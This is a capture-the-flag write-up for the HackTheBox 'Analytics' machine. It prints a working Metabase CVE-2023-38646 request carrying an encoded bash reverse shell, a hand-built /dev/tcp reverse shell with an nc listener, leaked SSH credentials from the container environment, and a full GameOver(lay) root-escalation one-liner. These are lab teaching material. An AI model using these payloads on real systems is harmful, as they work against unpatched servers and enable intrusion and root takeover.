HackTheBox Analytics Writeup | Linux GameOver(lay) Exploitation
Introduction
Hackthebox analytics begins with a webserver running a Metabase instance. A pre-authentication Remote Code Execution (RCE) exploit can be leveraged by leaking a setup token, initiating the server setup process, and injecting into the configuration to achieve code execution. Once inside the Metabase container, credentials stored in environment variables can be extracted and used to gain access to the host. From there, the GameOver(lay) vulnerability will be exploited to obtain a root shell, accompanied by a video demonstration explaining the exploit.
HackTheBox Analytics Description
Analytics is an easy difficulty Linux machine with exposed HTTP and SSH services. Enumeration of the website reveals a `Metabase` instance, which is vulnerable to Pre-Authentication Remote Code Execution (`[CVE-2023–38646](https://nvd.nist.gov/vuln/detail/CVE-2023-38646)`), which is leveraged to gain a foothold inside a Docker container. Enumerating the Docker container we see that the environment variables set contain credentials that can be used to SSH into the host. Post-exploitation enumeration reveals that the kernel version that is running on the host is vulnerable to `GameOverlay`, which is leveraged to obtain root privileges.
Enumeration
Nmap scan has shown the following ports below:
motasem@kali$ nmap -p- 10.10.11.233Nmap scan report for 10.10.11.233
Host is up (0.12s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open httpmotasem@kali$ nmap -p 22,80 -sCV 10.10.11.233PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
Subdomain Enumeration
When we try to access the page via the IP address, the server responds with a 302 redirect to http://analytical.htb. Visiting that URL successfully loads the page, which indicates the server uses host-based routing. To investigate further, we’ll use ffuf to test for subdomains of analytical.htb with the following options:
-u http://10.10.11.233: Specifies the URL to test.-H "Host: FUZZ.analytical.htb": Sets the Host HTTP header. The server performs routing based on this header, andFUZZwill be replaced by each entry in the provided wordlist.-w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt: Points to the wordlist to use. The top 20,000 subdomains should provide a good balance between coverage and speed, running in approximately one minute.-mc all: Matches on all HTTP response codes.-ac: Enables smart filtering to detect the default response and exclude similar responses, highlighting unique ones.
ffuf -u http://10.10.11.233 -H "Host: FUZZ.analytical.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -acdata [Status: 200, Size: 77883, Words: 3574, Lines: 28, Duration: 187ms]This indicates that data.analytical.htb provides a different response so we proceed and add it to the hosts file
Metabase Exploitation
Metabase Analytics refers to the use of the Metabase platform, an open-source business intelligence (BI) and data visualization tool, for analyzing and understanding data. Metabase provides a user-friendly interface for querying, visualizing, and sharing insights derived from data stored in databases. It is designed to be accessible to both technical and non-technical users, making data analytics more collaborative and efficient across organizations.
This website at data.analytical.htb provides access to a login page for an instance of the open-source data analytics platform, Metabase.
Exploiting CVE-2023–38646
CVE-2023–38646 is a critical security vulnerability affecting Metabase, an open-source business intelligence tool. This flaw allows unauthenticated attackers to execute arbitrary commands on the server with the server’s privilege level. The vulnerability is present in Metabase open-source versions before 0.46.6.1 and Enterprise versions before 1.46.6.1.
Details of the Vulnerability:
The issue arises from improper handling of the setup token and database connection strings during the initial setup process. Attackers can exploit this by accessing the /api/session/properties endpoint to retrieve the setup-token, which remains accessible even after the setup process is complete. Using this token, they can send specially crafted requests to the /api/setup/validate endpoint, injecting malicious database connection strings that lead to remote code execution without requiring authentication.
There are numerous exploits available that I could find with a quick search, but this one is straightforward enough for me to tackle manually to fully grasp its functionality.
Accessing /api/session/properties yields a large JSON response. We should be aware that a setup-token is included within it. To narrow it down, we’ll use jq to view the top-level keys. Out of the 60 keys present, setup-token is indeed one of them:
motasem@kali$ curl data.analytical.htb/api/session/properties -s | jq '. | keys | .[]' | wc -l60
motasem@kali$ curl data.analytical.htb/api/session/properties -s | jq -r '. | keys | .[]' | grep setup-tokensetup-tokenmotasem@kali$ curl data.analytical.htb/api/session/properties -s | jq -r '."setup-token"'249fa03d-fd94-4d5b-b94f-b4ebf3df681f
The blog post demonstrates using an HTTP POST request as part of an exploit.
POST /api/setup/validate HTTP/1.1
Host: localhost
Content-Type: application/json
Content-Length: 812{
"token": "5491c003-41c2-482d-bab4-6e174aa1738c",
"details":
{
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": null,
"refingerprint": false,
"auto_run_queries": true,
"schedules":
{},
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEuMS4xLjEvOTk5OCAwPiYx}|{base64,-d}|{bash,-i}')\n$$--=x",
"advanced-options": false,
"ssl": true
},
"name": "an-sec-research-team",
"engine": "h2"
}
}We’ll need to update the token in the request. There’s a command embedded in the database key that runs bash -c, which echoes some base64-encoded data, decodes it with base64 -d, and pipes it into bash -i. It also uses brace expansion to handle spaces.
motasem@kali$ echo 'bash -i >& /dev/tcp/10.10.16.3/4545 0>&1' | base64YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4zLzQ1NDUgMD4mMQ==To match the format, I’ll create a bash reverse shell command. While it’s not absolutely necessary, I’ll clean up the command by adding spaces to eliminate special characters.
motasem@kali$ echo 'bash -i >& /dev/tcp/10.10.16.3/4545 0>&1' | base64YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuMy80NTQ1IDA+JjE=motasem@kali$ echo 'bash -i >& /dev/tcp/10.10.16.3/4545 0>&1 ' | base64YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuMy80NTQ1IDA+JjEg
The resulting database string will be structured like this: With nc listening on port 443, we’ll capture a request to data.analytics.htb in Burp Suite and send it to the Repeater tool. The specifics of the request don’t matter much since we’ll modify it completely; we just need the correct target set. In the Request pane, we’ll update the Host header to data.analytics.htb, adjust the token, and insert the modified database string.
motasem@kali$ nc -lnvp 443b7ed0bb2dd1e:/$Linux Privilege Escalation
The file system is quite minimal. Metabase is located in the /app directory.
b7ed0bb2dd1e:/$ ls /app
certs
metabase.jar
run_metabase.shRunning the env command reveals the environment variables, where the following stand out:
b7ed0bb2dd1e:/$ env
SHELL=/bin/sh
MB_DB_PASS=
HOSTNAME=b7ed0bb2dd1e
LANGUAGE=en_US:en
MB_JETTY_HOST=0.0.0.0
JAVA_HOME=/opt/java/openjdk
MB_DB_FILE=//metabase.db/metabase.db
PWD=/
LOGNAME=metabase
MB_EMAIL_SMTP_USERNAME=
HOME=/home/metabase
LANG=en_US.UTF-8
META_USER=metalytics
META_PASS=An4lytics_ds20223#
MB_EMAIL_SMTP_PASSWORD=
USER=metabase
SHLVL=4
MB_DB_USER=
FC_LANG=en-US
LD_LIBRARY_PATH=/opt/java/openjdk/lib/server:/opt/java/openjdk/lib:/opt/java/openjdk/../lib
LC_CTYPE=en_US.UTF-8
MB_LDAP_BIND_DN=
LC_ALL=en_US.UTF-8
MB_LDAP_PASSWORD=
PATH=/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
MB_DB_CONNECTION_URI=
JAVA_VERSION=jdk-11.0.19+7
_=/usr/bin/env
OLDPWD=/META_USER=metalytics and META_PASS=An4lytics_ds20223#.
The provided password successfully allows SSH access to the host machine as the metalytics user.
motasem@kali$ sshpass -p 'An4lytics_ds20223#' ssh metalytics@analytical.htbWelcome to Ubuntu 22.04.3 LTS (GNU/Linux 6.2.0-25-generic x86_64)
...[snip],...metalytics@analytics:~$
The operating system, as mentioned earlier, is Ubuntu 22.04, and the kernel version is:
metalytics@analytics:/$ cat /etc/os-release
PRETTY_NAME="Ubuntu 22.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.3 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammymetalytics@analytics:/$ uname -a
Linux analytics 6.2.0-25-generic #25~22.04.2-UbuntuSearching for the kernel version alongside the term “vulnerability” yields numerous references to GameOver(lay).
Exploiting GameOver lay in Ubuntu | CVE-2023–2640 and CVE-2023–32629
CVE-2023–2640 and CVE-2023–32629 are high-severity local privilege escalation vulnerabilities in Ubuntu’s OverlayFS module, collectively referred to as “GameOver(lay).” These flaws allow unprivileged users to gain elevated privileges on affected systems.
CVE-2023–2640: This vulnerability arises from Ubuntu-specific modifications to OverlayFS that permit unprivileged users to set privileged extended attributes on mounted files without proper security checks. An attacker can exploit this to assign elevated capabilities to files, potentially leading to unauthorized privilege escalation.
CVE-2023–32629: This flaw involves the ovl_copy_up_meta_inode_data function in OverlayFS, which skips necessary permission checks when invoking ovl_do_setxattr. This oversight enables attackers to craft executable files with scoped file capabilities that, when manipulated, can grant root-like privileges upon execution.
Affected Systems: These vulnerabilities impact various Ubuntu versions, including 22.04 LTS (Jammy Jellyfish) and 23.04 (Lunar Lobster), particularly those running kernel versions 5.19.0 and 6.2.0. Approximately 40% of Ubuntu users are estimated to be affected.
Exploitation and Impact: Exploiting these vulnerabilities allows local attackers to gain root privileges, posing significant security risks, especially in multi-user environments and containerized applications. Notably, these flaws can be exploited within containers to achieve container root access, potentially leading to container escapes and broader system compromises
To exploit it, run the below payload:
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("rm -rf l m u w; id")'This code executes the id command with elevated privileges, and running it outputs a user ID associated with the root account.
metalytics@analytics:~$ unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("rm -rf l m u w; id")'
uid=0(root) gid=1000(metalytics) groups=1000(metalytics)metalytics@analytics:~$ unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("rm -rf l m u w; bash")'
root@analytics:~#
Done
